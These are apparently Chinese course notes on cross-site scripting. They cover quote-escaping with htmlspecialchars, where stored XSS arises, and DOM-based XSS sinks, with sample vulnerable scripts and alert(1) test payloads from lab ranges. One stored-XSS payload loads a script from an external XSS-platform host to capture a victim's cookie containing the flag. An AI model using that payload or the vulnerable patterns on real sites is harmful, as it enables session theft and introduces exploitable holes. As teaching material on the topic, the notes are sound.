如果value=后面用htmlspecialchars包裹,输入双引号会被转移,只能用单引号闭合
如果加入ENT_QUOTES参数,单双引号都不能闭合
6-2 存储型XSS 一、存储型XSS挖掘存储型XSS会出现在什么地方?
任何可能插入数据库的地方
比如:用户注册的时候
留言板
上传文件的文件名
(管理员可见的)报错信息
……
此漏洞介绍
:8082/index.php?c=mail&m=<sCRiPt sRC=http://www.likecs.com//xs.sb/DEr5></sCrIpT>
在index.php后加入c=mail&m=再加入<sCRiPt sRC=http://www.likecs.com//xs.sb/DEr5></sCrIpT>
在Xss平台就能看到吃到的Cookie,含有flag
6-3 Dom Based XSS 一、什么是Dom Based XSS DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。
二、Dom Based XSS每个载入浏览器的 HTML 文档都会成为 Document 对象。
Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。
Document 对象属性
转码地址:?type=3
document.lastModified 可用于查看是否为动态网页
JS触发的Xss就是Dom型xSS
Document.write()输出内容
<script> var pos=document.URL.indexOf("name=")+5; var username=unescape(document.URL.substring(pos,document.URL.length)); var r=\'<b>\'+username+\'</b>\'; document.write(r); </script>?name=<script>alert(1)</script>
innerHTML()改变内容
<div id=\'zkaq\'>1</div> <input type="button" onclick=fun() value="点击有惊喜"> <script> function fun(){ var url=unescape(document.URL); var pos=url.indexOf("name=")+5; document.getElementById("zkaq").innerHTML="Hi,<b>"+url.substring(pos,url.length)+"</b>"; } </script>?name=<img src=# onerror=alert(1)>
这里触发不能用script
eval()代码执行
</h1>Hello World</h1> <script> var a=location.hash.substr(1); eval(a); </script>#alert(1)
location.hashURL标识中的 \'#\' 和 后面URL片段标识符
三、DOM型XSS靶场演示 1.index.php/1.txt方法绕过:8014/dom_xss/?<script>alert(1)</script>
:8014/dom_xss/index.php/1.txt?<script>alert(1)</script>